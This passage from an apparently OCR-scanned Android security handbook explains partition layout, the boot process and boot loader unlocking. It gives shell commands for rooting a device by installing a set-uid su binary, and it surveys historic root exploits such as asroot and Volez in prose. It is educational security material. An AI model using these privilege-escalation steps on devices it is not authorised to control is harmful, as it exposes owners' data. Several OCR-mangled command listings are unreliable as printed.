AF_INET6 sockets 

Al D_NET_RAW 3004 / net_raw Allows the use of RAW and PACKET 
sockets 

Al D_NET_ADMIN 3005 / net_admin Grants the CAP_NET_ADMIN capability, 


allowing for network interface, routing 
table, and socket manipulation 


You can find additional Android-specific group IDs in the AOSP source 
repository insystem/core/include/private/android_ filesystem config.h. 


Complex Security, Complex Exploits 


After taking a closer look at the design and architecture of Android, it is clear that 
the Android operating system developers created a very complex system. Their 
design allows them to adhere to the principle of least privilege, which states that 
any particular component should have access only to things that it absolutely 
requires. Throughout this book, you will see substantial evidence of the use of 
this principle. Although it serves to improve security, it also increases complexity. 
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Process isolation and privilege reduction are techniques that are often a 
cornerstone in secure system design. The complexities of these techniques com- 
plicate the system for both developers and attackers, which increase the cost of 
development for both parties. When an attacker is crafting his attack, he must 
take the time to fully understand the complexities involved. With a system like 
Android, exploiting a single vulnerability may not be enough to get full access 
to the system. Instead, the attacker may have to exploit several vulnerabilities 
to achieve the objective. To summarize, successfully attacking a complex system 
requires a complex exploit. 

A great real-world example of this concept is the “diaggetroot” exploit used to 
root the HTC J Butterfly. To achieve root access, that exploit leveraged multiple, 
complementary issues. That particular exploit is discussed in further detail in 
Chapter 3. 


Summary 


This chapter gave an overview of the security design and architecture of Android. 
We introduced the Android sandbox and the permissions models used by 
Android. This included Android’s special implementation of Unix UID/GID 
mappings (AIDs), as well as the restrictions and capabilities enforced through- 
out the system. 

We also covered the logical layers of Android, including applications, the 
Android Framework, the DalvikVM, user-space native code, and the Linux 
kernel. For each of these layers, we discussed key components, especially those 
that are security related. We highlighted important additions and modifications 
that the Android developers made to the Linux kernel. 

This fairly high-level coverage of Android’s overall design helps frame the 
remaining chapters, which dive even further into the components and layers 
introduced in this chapter. 

The next chapter explains the how and why of taking full control of your 
Android device. It discusses several generic methods for doing so as well as 
some past techniques that rely on specific vulnerabilities. 


Rooting Your Device 


The process of gaining super user privileges on an Android device is commonly 
called rooting. The system super user account is ubiquitously called root, hence the 
term rooting. This special account has rights and permissions over all files and 
programs on a UNIX-based system. It has full control over the operating system. 

There are many reasons why someone would like to achieve administrative 
privileges on an Android device. For the purposes of this book, our primary 
reason is to audit the security of an Android device without being confined 
by UNIX permissions. However, some people want to access or alter system 
files to change a hard-coded configuration or behavior, or to modify the look 
and feel with custom themes or boot animations. Rooting also enables users 
to uninstall pre-installed applications, do full system backups and restores, 
or load custom kernel images and modules. Also, a whole class of apps exists 
that require root permissions to run. These are typically called root apps and 
include programs such as iptables-based firewalls, ad-blockers, overclocking, 
or tethering applications. 

Regardless of your reason to root, you should be concerned that the process 
of rooting compromises the security of your device. One reason is that all 
user data is exposed to applications that have been granted root permissions. 
Further, it could leave an open door for someone to extract all user data from 
the device if you lose it or it is stolen, especially if security mechanisms (such 
as boot loader locks, or signed recovery updates) have been removed while 
rooting it. 


57 


58 


Chapter 3 = Rooting Your Device 


This chapter covers the process of rooting an Android device in a generic 
way, without giving specific details about a concrete Android version or device 
model. It also explains the security implications of each step performed to gain 
root. Finally, the chapter provides an overview of some flaws that have been 
used for rooting Android devices in the past. These flaws have been fixed in 
current Android releases. 


| WARNING | Rooting your device, if you do not know what you are doing, can 
cause your phone to stop functioning correctly. This is especially true if you modify 


any system files. Thankfully, most Android devices can be returned to the stock fac- 
tory state if needed. 


Understanding the Partition Layout 


Partitions are logical storage units or divisions made inside the device’s 
persistent storage memory. The layout refers to the order, offsets, and sizes of 
the various partitions. The partition layout is handled by the boot loader in most 
devices, although in some rare cases it can also be handled by the kernel itself. 
This low-level storage partitioning is crucial to proper device functionality. 
The partition layout varies between vendors and platforms. Two different 
devices typically do not have the same partitions or the same layout. However, 
a few partitions are present in all Android devices. The most common of these 
are the boot, system, data, recovery, and cache partitions. Generally speaking, the 
device’s NAND flash memory is partitioned using the following partition layout: 


= boot loader: Stores the phone’s boot loader program, which takes care 
of initializing the hardware when the phone boots, booting the Android 
kernel, and implementing alternative boot modes such as download mode. 


m splash: Stores the first splash screen image seen right after powering on 
the device. This usually contains the manufacturer’s or operator’s logo. 
On some devices, the splash screen bitmap is embedded inside the boot 
loader itself rather than being stored in a separate partition. 


= boot: Stores the Android boot image, which consists of a Linux kernel 
(zImage) and the root file system ram disk (initrd). 


™ recovery: Stores a minimal Android boot image that provides maintenance 
functions and serves as a failsafe. 


= system: Stores the Android system image that is mounted as/ syst em on 
a device. This image contains the Android framework, libraries, system 
binaries, and pre-installed applications. 


= userdata: Also called the data partition, this is the device’s internal stor- 
age for application data and user files such as pictures, videos, audio, and 
downloads. This is mounted as / dat a on a booted system. 
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m cache: Used to store various utility files such as recovery logs and update 
packages downloaded over-the-air. On devices with applications installed 
on an SD card, it may also contain the dal vi k- cache folder, which stores 
the Dalvik Virtual Machine (VM) cache. 


m radio: A partition that stores the baseband image. This partition is usually 
present only on devices with telephony capabilities. 


Determining the Partition Layout 


You can obtain the partition layout of a particular device in several ways. First, 
you can look at the contents of the partitions entry in the/ proc file system. 
Following are the contents of this entry on a Samsung Galaxy Nexus running 


Android 4.2.1: 


shell @android:/data $ cat /proc/partitions 
#bl ocks 


major minor 


31 
179 
179 
179 
179 
179 
179 
179 
179 
259 
259 
259 
259 
259 
259 
179 
179 


CDMAUF WNP OH DH FWY Oo 


1538 


2 


1 

1 

66 
44 
1419 


name 
1024 mtdb 
8672 mmcb 
128 mmcb 
3584 mmcb 
0480 mmcb 
8192 mmcb 
4096 mmcb 
4096 mmcb 
8192 mmcb 
2224 mmcb 
6384 mmcb 
9696 mmcb 
2368 mmcb 
8767 mmcb 

64 mmcb 
512 mmcb 
512 mmcb 


ock0 

ko 

k0p1 
k0p2 
k0p3 
k0p4 
k0p5 
k0p6 
k0p7 
k0p8 
k0p9 
k0p10 
k0p11 
k0p12 
k0p13 
k0boot1 
k0boot0 


In addition to the pr oc entry, it is also possible to get a mapping of these device 
files to their logical functions. To do this, check the contents of the System-on- 
Chip (SoC) specific directory in / dev/bl ock/ platform. There, you should find a 
directory called by- name, where each partition name is linked to its correspond- 
ing block device. The following excerpt shows the contents of this directory on 
the same Samsung Galaxy Nexus as the previous example. 


shell @android:/dev/b 


| r WXr WXrT WX 
| r WXT WXT WX 
| r WXr wWXr WX 
| r WX WXT WX 
| r WXr wWXr WX 
| r wXr wXr WX 
| r WXr wWXr WX 


oot 
oot 
oot 
oot 
oot 
oot 
oot 


roo 
roo 
roo 
roo 
roo 
roo 
roo 


ock/plat 
2013-0 
2013-0 
2013-0 
2013-0 
2013-0 
2013-0 
2013-0 


orm/omap/omap_hsmmc.0/by-name $ Is -l 

-30 20:43 boot -> /dev/block/mmcbl k0p7 

-30 20:43 cache -> /dev/block/mmcblk0p11 
-30 20:43 dgs -> /dev/block/mmcblk0p6 

-30 20:43 efs -> /dev/block/mmcblk0p3 

-30 20:43 metadata -> /dev/block/mmcblk0p13 
-30 20:43 misc -> /dev/block/mmcbl k0p5 

-30 20:43 param -> /dev/block/mmcbl k0p4 
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lrwxrwxrwx root root 2013-01-30 20:43 radio -> /dev/block/ mmcbl k0p9 
lrwxrwxrwx root root 2013-01-30 20:43 recovery -> /dev/bl ock/ mmcbl k0p8 
lrwxrwxrwx root root 2013-01-30 20:43 sbl -> /dev/ bl ock/ mmcbl kO0p2 

|r wxrwxrwx root root 2013-01-30 20:43 system -> /dev/ bl ock/ mmcbl k0p10 
|rwxrwxrwx root root 2013-01-30 20:43 userdata -> /dev/block/ mmcbl k0p12 
lrwxrwxrwx root root 2013-01-30 20:43 xloader -> /dev/block/ mmcbl k0pl 


Further still, there are other places where you can obtain information about 
the partition layout. The /etc/vold. fstab file, the recovery log (/cache/ 
recovery/|ast_log),and the kernel logs (via dmesg or/ proc/kmsg) are known 
to contain partition layout information in some cases. If all else fails, you can 
find some information about partitions using the mount command or examin- 
ing/proc/ mounts. 


Understanding the Boot Process 


The boot loader is usually the first thing that runs when the hardware is powered 
on. On most devices, the boot loader is manufacturer’s proprietary code that 
takes care of low-level hardware initialization (setup clocks, internal RAM, boot 
media, and so on) and provides support for loading recovery images or putting 
the phone into download mode. The boot loader itself is usually comprised of 
multiple stages, but we only consider it as a whole here. 

When the boot loader has finished initializing the hardware it loads the 
Android kernel and initrd from the boot partition into RAM. Finally, it jumps 
into the kernel to let it continue the boot process. 

The Android kernel does all the tasks needed for the Android system to run 
properly on the device. For example, it will initialize memory, input/output 
(I/O) areas, memory protections, interrupt handlers, the CPU scheduler, device 
drivers, and so on. Finally, it mounts the root file system and starts the first 
user-space process, i nit. 

The i ni t process is the father of all other user-space processes. When it 
starts, the root file system from the initrd is still mounted read/write. The 
li nit. rc script serves as the configuration file fori ni t . It specifies the actions 
to take while initializing the operating system's user-space components. This 
includes starting some core Android services such as ri | d for telephony, mt pd 
for VPN access, and the Android Debug Bridge daemon (adbd). One of the 
services, Zygote, creates the Dalvik VM and starts the first Java component, 
System Server. Finally, other Android Framework services, such as the Telephony 
Manager, are started. 

The following shows an excerpt from the i nit. rc script of an LG Optimus 
Elite (VM696). You can find more information about the format of this file in 
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thesystem/core/init/readme.txt file from the Android Open Source Project 
(AOSP) repository. 


bigd 
service adbd /sbin/adbd 


di sabl ed 
EERS 
service ril-daemon /system/bin/rild 
socket rild stream 660 root radio 
socket rild-debug stream 660 radio system 
user roo 


group radio cache inet misc audio sdcard_rw gcom_oncrpc diag 
[ivi] 
service zygote /system/bin/app_process -Xzygote 
/system/ bin --zygote --start-system server 

socket zygote stream 660 root system 

onrestart write /sys/android_power/request state wake 

onrestart write /sys/power/state on 

onrestart restart media 

onrestart restart netd 


[...] 
When the system boot has been completed, an ACTION _BOOT _COMPLETED 
event is broadcasted to all applications that have registered to receive this broad- 


cast intent in their manifest. When this is complete, the system is considered 
fully booted. 


Accessing Download Mode 


In the boot process description, we mentioned that the boot loader usually pro- 
vides support for putting the phone into download mode. This mode enables the 
user to update the persistent storage at a low level through a process typically 
called flashing. Depending on the device, flashing might be available via fastboot 
protocol, a proprietary protocol, or even both. For example, the Samsung Galaxy 
Nexus supports both the proprietary ODIN mode and fastboot. 


Fastboot is the standard Android protocol for flashing full disk images to 
specific partitions over USB. The fastboot client utility is a command-line tool that you 
can obtain from the Android Software Development Kit (SDK) available at ht t ps: / / 
developer. android. com/sdk/ orthe AOSP repository. 


Entering alternate modes, such as download mode, depends on the boot 
loader. When certain key-press combinations are held during boot, the 
boot loader starts download mode instead of doing the normal Android 
kernel boot process. The exact key-press combination varies from device to 
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device, but you can usually easily find it online. After it’s in download mode, 
the device should await a host PC connection through Universal Serial Bus 
(USB). Figure 3-1 shows the fastboot and ODIN mode screens. 


Downloading... 


Figure 3-1: Fastboot and ODIN mode 


When a USB connection has been established between the boot loader and 
the host computer, communication takes place using the device-supported 
download protocol. These protocols facilitate executing various tasks including 
flashing NAND partitions, rebooting the device, downloading and executing 
an alternate kernel image, and so on. 


Locked and Unlocked Boot Loaders 


Generally speaking, locked boot loaders prevent the end user from performing 
modifications to the device’s firmware by implementing restrictions at the boot 
loader level. Those restrictions can vary, depending on the manufacturer's deci- 
sion, but usually there is a cryptographic signature verification that prevents 
booting and/or flashing unsigned code to the device. Some devices, such as 
cheap Chinese Android devices, do not include any boot loader restrictions. 
On Google Nexus devices, the boot loader is locked by default. However, 
there’s an official mechanism in place that enables owners to unlock it. If the 
end user decides to run a custom kernel, recovery image, or operating system 
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image, the boot loader needs to be unlocked first. For these devices, unlocking 
the boot loader is as simple as putting the device into fastboot mode and running 
the command fastboot oem unl ock. This requires the command-line fastboot 
client utility, which is available in the Android SDK or the AOSP repository. 
Some manufacturers also support unlocking the boot loaders on their devices, 
on a per-device basis. In some cases the process uses the standard Original 
Equipment Manufacturer (OEM) unlock procedure through fastboot. However, 
some cases revolve around some proprietary mechanism such as a website or 
unlock portal. These portals usually require the owner to register his device, and 
forfeit his warranty, to be able to unlock its boot loader. As of this writing, HTC, 
Motorola, and Sony support unlocking at least some of their devices. 
Unlocking the boot loader carries serious security implications. If the device is 
lost or stolen, all data on it can be recovered by an attacker simply by uploading 
a custom Android boot image or flashing a custom recovery image. After doing 
so, the attacker has full access to the data contained on the device's partitions. 
This includes Google accounts, documents, contacts, stored passwords, appli- 
cation data, camera pictures, and more. Because of this, a factory data reset is 
performed on the phone when unlocking a locked boot loader. This ensures all 
the end user’s data are erased and the attacker should not be able to access it. 


| WARNING | We highly recommended using Android device encryption. Even after 
all data has been erased, it is possible to forensically recover erased data on some 
devices. 


Stock and Custom Recovery Images 


The Android recovery system is Android’s standard mechanism that allows 
software updates to replace the entirety of the system software preinstalled on 
the device without wiping user data. It is mainly used to apply updates down- 
loaded manually or Over-the-Air (OTA). Such updates are applied offline after 
a reboot. In addition to applying OTA updates, the recovery can perform other 
tasks such as wiping the user data and cache partitions. 

The recovery image is stored on the recovery partition, and consists of a mini- 
mal Linux image with a simple user interface controlled by hardware buttons. 
The stock Android recovery is intentionally very limited in functionality. It 
does the minimal things necessary to comply with the Android Compatibility 
Definitions athttp://source. android. com/compatibility/index. html. 

Similar to accessing download mode, you access the recovery by pressing a 
certain key-press combination when booting the device. In addition to using 
key-presses, it is possible to instruct a booted Android system to reboot into 
recovery mode through the command adb reboot recovery. The command- 
line Android Debug Bridge (ADB) tool is available as part of the Android SDK 
or AOSP repository at http://developer.android.com/sdk/index. htm. 
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One of the most commonly used features of the recovery is to apply an update 
package. Such a package consists of a zip file containing a set of files to be cop- 
ied to the device, some metadata, and an updater script. This updater script 
tells the Android recovery which operations to perform on the device to apply 
the update modifications. This could include mounting the system partition, 
making sure the device and operating system versions match with the one the 
update package was created for, verifying SHA1 hashes of the system files that 
are going to be replaced, and so on. Updates are cryptographically signed using 
an RSA private key. The recovery verifies the signature using the correspond- 
ing public key prior to applying the update. This ensures only authenticated 
updates can be applied. The following snippet shows the contents of a typical 
Over-the-Air (OTA) update package. 


Extracting an OTA Update Package for Nexus 4 
$ unzip 625f5f7c¢6524, signed-occam-] OP40D-from-] OP40C. 625f5f7c.zip 


Archive: 625f5f7c¢6524.signed-occam-] OP40D-from-J| OP40C. 625f5f7c.zip 
signed by SignApk 
inflating: META-|NF/com/android/ metadata 
inflating: META-INF/com/google/android/update- binary 
inflating: META-INF/com/google/android/updater-script 
inflating: patch/system/app/ApplicationsProvider.apk.p 
inflating: patch/system/app/ApplicationsProvider.odex.p 
inflating: patch/system/app/BackupRestoreConfirmation. apk. p 
inflating: patch/system/app/ BackupRestoreConfirmation. odex. p 
EET 
inflating: patch/system/lib/libwebcore.so. p 
inflating: patch/system/lib/libwebrtc_audio_preprocessing.so.p 
inflating: recovery/etc/install-recovery.sh 
inflating: recovery/recovery-from- boot. p 
inflating: META-INF/com/android/otacert 
inflating: META-INF/ MANIFEST. MF 
inflating: META-|INF/ CERT. SF 
inflating: META-INF/ CERT. RSA 


Custom Android recovery images exist for most devices. If one is not available, 
you can easily create it by applying custom modifications to the stock Android 
recovery source code from the AOSP repository. 

The most common modifications included in custom recovery images are 


m Including a full backup and restore functionality (such as NANDroid script) 


m Allow unsigned update packages, or allow signed packages with custom 
keys 
m Selectively mounting device partitions or SD card 


m Provide USB mass storage access to SD card or data partitions 
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m Provide full ADB access, with the ADB daemon running as root 
m Include a fully featured BusyBox binary 
Popular custom recovery images with builds for multiple devices are 


ClockworkMod recovery or TeamWin Recovery Project (TWRP). Figure 3-2 
shows stock and ClockworkMod recovery screens. 


feboot system now 


ClockworkMod Recovery v6.0.2.5 


Figure 3-2: Android recovery and ClockworkMod Recovery 


| WARNING | Keeping a custom recovery image with signature restrictions 
removed, or full ADB access exposed, on your Android device also leaves an open door 


to obtaining all user data contained on the device's partitions. 


Rooting with an Unlocked Boot Loader 


The process of rooting culminates in having ans u binary with the proper set-uid 
permissions on the system partition. This allows elevating privileges whenever 
needed. The su binary is usually accompanied by an Android application, such 
as SuperUser or SuperSU, that provides a graphical prompt each time an appli- 
cation requests root access. If the request is granted, the application invokes 
the su binary to execute the requested command. These su wrapper Android 
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applications also manage which applications or users should be granted root 
access automatically, without prompting the user. 


The latest version of Chainfire SuperSU can be downloaded as a recov- 
ery update package from htt p:// download. chainfire. eu/supersu orasa 
standalone application from Google Play athttps://play.google.com/store/ 
apps/details?id=eu.chainfire.supersu. 

The ClockworkMod SuperUser package can be obtained from Google Play at 
https://play.google.com/store/apps/details?id=com 
-koushikdutta, superuser. The source code is available athttps:// github 
„Com koush/Superuser. 


On devices with an unlocked or unlockable boot loader, gaining root access is 
very easy, as you do not have to rely on exploiting an unpatched security hole. 
The first step is to unlock the boot loader. If you haven't done it already, depend- 
ing on the device you should either use f ast boot oem unlock as described in 
the “Locked and Unlocked Boot Loaders” section, or use a vendor-specific boot 
loader unlock tool to legitimately unlock the device. 

At the time of this writing, Motorola, HTC, and Sony-Ericsson support boot 
loader unlocking on some devices through their unlock portal websites. 


The boot loader unlock portal for Motorola is available atht t ps: / / 
motorola-global-portal.custhel p.com/app/standal one/ bootl oader/ 
unlock-your-device-a. 

The boot loader unlock portal for HTC is available at ht tp://www. htcdev. com/ 
bootloader. 

The boot loader unlock portal for SonyEricsson is available at ht t p: / / 
unlockbootloader.sonymobile.com/. 


When the boot loader is unlocked, the user is free to make custom mod- 
ifications to the device. At this point, there are several ways to include the 
appropriate s u binary for the device’s architecture in the system partition, with 
the correct permissions. 

You can modify a factory image to add an s binary. In this example, we unpack 
an ext4 formatted system image, mount it, add an s u binary, and repack it. If 
we flash this image, it will contain the s u binary and the device will be rooted. 


mkdir systemdir 

simg2img system. img system. raw 

mount -t ext4 -o loop system raw systemdir 

cp su systemdir/xbin/su 

chown 0:0 systemdir/xbin/su 

chmod 6755 systemdir/xbin/su 

make_ext4fs -s -I 512M -a system custom-systemimg systemdir 
umount systemdir 


Chapter 3 = Rooting Your Device 


If the device is an AOSP-supported device, you can compile a userdebug or 
eng Android build from source. Visit http: //source. android. com/source/ 
building. html for more information on building Android from source. These 
build configurations provide root access by default: 

curl http://commondatastorage. googleapis.com/git-repo-downloads/repo \ 

-0 ~/bin/repo 

chmod a+x ~/bin/repo 

repo init -u https://android.googlesource.com/platform/ manifest 

repo sync 

source build/envsetup. sh 

lunch full_maguro-userdebug 


Whether you built your custom system image by modifying a factory image 
or by compiling your own, you must flash the system partition for it to take 
effect. For example, the following command shows how to flash this image 
using the fastboot protocol: 


fastboot flash system custom-system. i mg 


The most straightforward method is to boot a custom recovery image. This 
allows copying the su binary into the system partition and setting the appropri- 
ate permissions through a custom update package. 


ike] When using this method, you are booting the custom recovery image with- 
out flashing it, so you use it only to flash ans u binary on the system partition without 
modifying the recovery partition at all. 


To do this, download a custom recovery image and s u update package. The 
custom recovery image can be one of your choosing, as long as it supports your 
device. Similarly, the su update package can be SuperSU, SuperUser, or another 
of your choice. 


1. You should place both downloads into the device’s storage, typically on 
the SD card mounted as /sdcard. 


2. Next, put the device into fastboot mode. 


3. Now, open a command prompt, and typefastboot boot recovery. img, 
where recovery. img is the raw recovery image you downloaded. 


4. From the recovery menu, select the option to apply an update zip file and 
browse to the folder on your device storage where you have placed the 
update package with the s u binary. 


Additionally, devices using Android 4.1 or later contain a new feature called 
sideload. This feature allows applying an update zip over ADB without copy- 
ing it to the device beforehand. To sideload an update, run the command adb 
sideload su- package. zip, where su- package. zip is the filename of the update 
package on your computer's hard drive. 
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After unlocking the boot loader on some devices, you can boot unsigned 
code but you can't flash unsigned code. In this case, flashing a custom system 
or recovery image is only possible after gaining root on the booted system. In 
this scenario, you would use dd to write a custom recovery image directly to 
the block device for the recovery partition. 


Rooting with a Locked Boot Loader 


When the boot loader is locked, and the manufacturer doesn’t provide a legiti- 
mate method to unlock it, you usually need to find a flaw in the device that will 
serve as an entry point for rooting it. 

First you need to identify which type of boot loader lock you have; it can 
vary depending on the manufacturer, carrier, device variant, or software ver- 
sion within the same device. Sometimes, fastboot access is forbidden but you 
can still flash using the manufacturer’s proprietary flashing protocol, such as 
Motorola SBF or Samsung ODIN. Sometimes signature checks on the same 
device are enforced differently when using fastboot instead of the manufac- 
turer’s proprietary download mode. Signature checking can happen at boot 
time, at flashing time, or both. 

Some locked boot loaders only enforce signature verification on selected 
partitions; a typical example is having locked boot and recovery partitions. In 
this case booting a custom kernel or a modified recovery image is not allowed, 
but you can still modify the system partition. In this scenario, you can perform 
rooting by editing the system partition of a stock image as described in the 
“Rooting with an Unlocked Boot Loader” section. 

On some devices, where the boot partition is locked and booting a custom 
kernel is forbidden, it is possible to flash a custom boot image in the recovery 
partition and boot the system with the custom kernel by booting in recovery 
mode when powering on the phone. In this case, it is possible to get root access 
throughadb shell by modifying the default. prop file of the custom boot 
image initrd, as you'll see in the “Abusing adbd to Get Root” section. On some 
devices, the stock recovery image allows applying updates signed with the default 
Android test key. This key is a generic key for packages that do not otherwise 
specify a key. It is included in the bui | d/target/product/security directory 
in the AOSP source tree. You can root by applying a custom update package 
containing the s u binary. It is unknown whether the manufacturer has left this 
on purpose or not, but this is known to work on some Samsung devices with 
Android 4.0 and stock recovery 3e. 

In the worst-case scenario, boot loader restrictions won't allow you to boot 
with a partition that fails signature verification. In this case, you have to use 
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other techniques to achieve root access, as described in the “Gaining Root on 
a Booted System” section. 


Gaining Root on a Booted System 


Gaining initial root access on a booted system consists of getting a root shell 
through an unpatched security flaw in the Android operating system. A root- 
ing method like this is also widely known as a soft root because the attack is 
almost entirely software based. Usually, a soft root is accomplished through a 
vulnerability in the Android kernel, a process running as root, a vulnerable 
program with the set-uid bit set, a symbolic link attack against a file permission 
bug, or other issues. There are a vast number of possibilities due to the sheer 
number of areas in which issues could be introduced and types of mistakes 
programmers could make. 

Although root set-uid or set-gid binaries are not common in stock Android, 
carriers or device manufacturers sometimes introduce them as part of their 
custom modifications. A typical security flaw in any of these set-uid binaries 
can lead to privilege escalation and subsequently yield root access. 

Another typical scenario is exploiting a security vulnerability in a process 
running with root privileges. Such an exploit enables you to execute arbitrary 
code as root. The end of this chapter includes some examples of this. 

As you will see in Chapter 12, these exploits are becoming more difficult to 
develop as Android matures. New mitigation techniques and security harden- 
ing features are regularly introduced with new Android releases. 


Abusing adbd to Get Root 


It is important to understand that the adbd daemon will start running as root 
and drop its privileges to the shell user (AID_SHELL) unless the system property 
ro. secure isset to0. This property is read-only and is usually set toro. secur e=1 
by the boot image initrd. 

The adbd daemon will also start as root without dropping privileges to shell 
if the property ro. kernel. qemu is set to1 (to start adbd running as root on the 
Android emulator), but this is also a read-only property that will not normally 
be set on a real device. 

Android versions before 4.2 will read the/ dat a/|ocal. prop file on boot and 
apply any properties set in this file. As of Android 4.2 this file will only be read 
on non-user builds, if ro. debuggable is settol. 

The/data/local. prop file and thero. secure andro. kernel. qemu proper- 
ties are of key importance for gaining root access. Keep those in mind, as you 
will see some exploits using them in the “History of Known Attacks” section 
later in this chapter. 
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NAND Locks, Temporary Root, and Permanent Root 


Some HTC devices have a security flag (@s ec uf | ag) in the radio Non-Volatile 
Random Access Memory (NVRAM) which is checked by the device boot loader 
(HBOOT). When this flag is set to “true” the boot loader displays a “security 
on” message (S-ON) and a NAND lock is enforced. The NAND lock prevents 
writing to the system, boot, and recovery partitions. With S-ON, a reboot loses 
root, and writes on these partitions won't stick. This makes custom system 
ROMs, custom kernels, and custom recovery modifications impossible. 

It is still possible to gain root access through an exploit for a sufficiently severe 
vulnerability. However, the NAND lock causes any changes to be lost on reboot. 
This is known as a temporary root in the Android modding community. 

To achieve a permanent root on HTC devices with a NAND lock, one of two 
things must be done. First, you can disable the security flag in the baseband. 
Second, you can flash the device with a patched or engineering HBOOT that 
does not enforce NAND locking. In both cases, the boot loader displays a security 
off message (S-OFF). Figure 3-3 shows a locked and unlocked HTC HBOOT. 


Figure 3-3: Locked and Unlocked HTC HBOOT 


Before HTC provided the official boot loader unlock procedure in August 2011, 
a patched HBOOT was the only solution available. This could be accomplished 
on some devices by unofficial boot loader unlock tools such as AlphaRev (avail- 
able at htt p://alpharev.nl/) and Unrevoked (available at ht tp: //unrevoked 
.com/ ), which later merged into the Revolutionary.io tool (available at ht t p: // 
revolutionary.io/). Those tools usually combine multiple public or private 
exploits to be able to flash the patched boot loader and bypass NAND locks. In 
most cases, reflashing a stock HBOOT re-enables the device security flag (S-ON). 

The Unlimited.io exploits available at htt p://unlimited.io/,suchas 
JuopunutBear, LazyPanda, and DirtyRacun, allow gaining full radio S-OFF on 
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some devices by combining several exploits present in HTC’s Android ROMs 
and the device’s baseband. 

In December 2010, Scott Walker published the gfree exploit available at ht t ps: // 
github. com/tmzt/g2root-kmod/tree/master/scotty2/gfree under the GPL3 
license. This exploit disabled the embedded MultiMediaCard (eMMC) protection 
of the T-Mobile G2. The eMMC memory, which holds the baseband partition, 
is booted in read-only mode when the bootloader initializes the hardware. The 
exploit then power-cycles the eMMC chip by using a Linux kernel module and 
sets the @secuf! ag to false. Finally, it installs a MultiMediaCard (MMC) block 
request filter in the kernel to remove the write protection on the hidden radio 
settings partition. 

When HTC started its official unlock portal, it provided HBOOT images for 
some devices which allow the user to unlock the boot loader—and remove 
NAND locks—in two steps: 


1. First the user should run the command fastboot oem get_identifier. 
token. The boot loader displays a blob that the user should submit to 
HTC’s unlock portal. 


2. After submitting the identifier token, the user receives an Unl ock_code 
. bin file unique for his phone. This file is signed with HTC’s private key 
and should be flashed to the device using the command fastboot flash 
unlocktoken Unlock code. bin. 


If the Unl ock_code. bin file is valid, the phone allows using the standard 
fastboot flash commands to flash unsigned partition images. Further, it 
enables booting such unsigned partition images without restrictions. Figure 
3-4 depicts the general workflow for unlocking devices. HTC and Motorola are 
two OEMs that utilize this type of process. 

Other devices, such as some Toshiba tablets, also have NAND locks. For 
those devices, the locks are enforced by the sealime Loadable Kernel Module, 
which resides in the boot image initrd. This module is based on SEAndroid and 
prevents remounting the system partition for writing. 


Persisting a Soft Root 


When you have a root shell (soft root), achieving permanent root access is 
straightforward. On phones without NAND locks, you only need write access 
to the system partition. If the phone has a NAND lock, it should be removed 
first (refer to the “NAND Locks, Temporary Root, and Permanent Root” section 
earlier in this chapter). 

With NAND locks out of the picture, you can simply remount the system 
partition in read/write mode, place ans u binary with set-uid root permissions, 
and remount it in read-only mode again; optionally, you can install ans u wrap- 
per such as SuperUser or SuperSU. 
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Figure 3-4: General boot loader unlock workflow 


A typical way of automating the process just described is by running the 
following commands from a host computer connected to an Android device 
with USB debugging enabled: 


adb shell mount -o remount,rw /system 
adb adb push su /system/xbin/su 

adb shell chown 0.0 /system/xbin/su 
adb shell chmod 06755 /system/xbin/su 
adb shell mount -o remount,ro /system 
adb install Superuser. apk 


Another way of retaining persistent root access is by writing a custom recovery 
into the recovery partition using the dd command on the Android device. This 
is equivalent to flashing a custom recovery via fastboot or download mode, as 
described in the “Rooting with an Unlocked Boot Loader” section earlier in 
this chapter. 

First, you need to identify the location of the recovery partition on the device. 
For example: 


shell @android:/ # Is -I /dev/block/ platform/*/by-name/recovery 
lr wxrwxrwx root root 2012-11-20 14:53 recovery -> /dev/block/ mmcbl k0p7 


The preceding output shows the recovery partition in this case is located at 
[dev/block/mmcbl k0p7. 
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You can now push a custom recovery image onto the SD card and write it to 
the recovery partition: 


adb shell push custom-recovery.img /sdcard/ 
adb shell dd if=/sdcard/custom-recovery.img of =/dev/block/ mmcbl k0p7 


Finally, you need to reboot into the custom recovery and apply thes u update 
package. 


adb reboot recovery 


History of Known Attacks 


The remainder of this section discusses numerous previously known methods 
for gaining root access to Android devices. By presenting these issues, we hope 
to provide insight into the possible ways you can gain root access to Android 
devices. Although a few of these issues affect the larger Linux ecosystem, most 
are Android specific. Many of these issues cannot be exploited without access 
to the ADB shell. In each case we discuss the root cause of the vulnerability and 
key details of how the exploit leveraged it. 


keg The astute reader may notice that several of the following issues were 
unknowingly discovered by multiple, separate parties. Although this is not a common 
occurrence, it does happen from time to time. 


Some of the exploitation details provided in this section are rather technical. 
If they are overwhelming, or you are already intimately familiar with the inner 
workings of these exploits, feel free to skip past them. In any case, this section 
serves to document these exploits in moderate detail. Chapter 8 covers a few of 
these exploits in more detail. 


Kernel: Wunderbar/asroot 


This bug was discovered by Tavis Ormandy and Julien Tinnes of the Google 
Security Team and was assigned CVE-2009-2692: 


The Linux kernel 2.6.0 through 2.6.30.4 and 2.4.4 through 2.4.37.4, does 
not initialize all function pointers for socket operations in proto_ops struc- 
tures, which allows local users to trigger a NULL pointer dereference and 
gain privileges by using mmap to map page zero, placing arbitrary code on 
this page, and then invoking an unavailable operation, as demonstrated by 
the sendpage operation (sock_sendpage function) on a PF_PPPOX socket. 
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Brad Spengler (spender) wrote the Wunderbar emporium exploit for x86/ 
x86_64, which is where this bug got its famous name. However, the exploit for 
Android (Linux on the ARM architecture) was released by Christopher Lais 
(Zinx), is named asroot, and is published at htt p://glfiles. webs. com/Zinx 
/android-root- 20090816. tar. gz. This exploit worked on all Android versions 
that used a vulnerable kernel. 

The asroot exploit introduces a new “ NULL” section at address 0 with the exact 
size of a page. This section contains code that sets the current user identifier 
(UID) and group identifier (GID) to root. Next, the exploit calls s endf i | e to cause 
asendpage operationona PF _BLUETOOTH socket with missing initialization 
of the proto _ops structure. This causes the code in the “ NULL” section to be 
executed in kernel mode, yielding a root shell. 


Recovery: Volez 


A typographical error in the signature verifier used in Android 2.0 and 2.0.1 
recovery images caused the recovery to incorrectly detect the End of Central 
Directory (EOCD) record inside a signed update zip file. This issue resulted in 
the ability to modify the contents of a signed OTA recovery package. 

The signature verifier error was spotted by Mike Baker ([mbm]) and it was 
abused to root the Motorola Droid when the first official OTA package was 
released. By creating a specially crafted zip file, it was possible to inject an su 
binary into the signed OTA zip file. Later, Christopher Lais (Zinx) wrote Volez, 
a utility for creating customized update zip files out of a valid signed update 
zip, which is available at http: //zenthought. org/content/ proj ect/volez. 


Udev: Exploid 


This vulnerability affected all Android versions up to 2.1. It was originally 
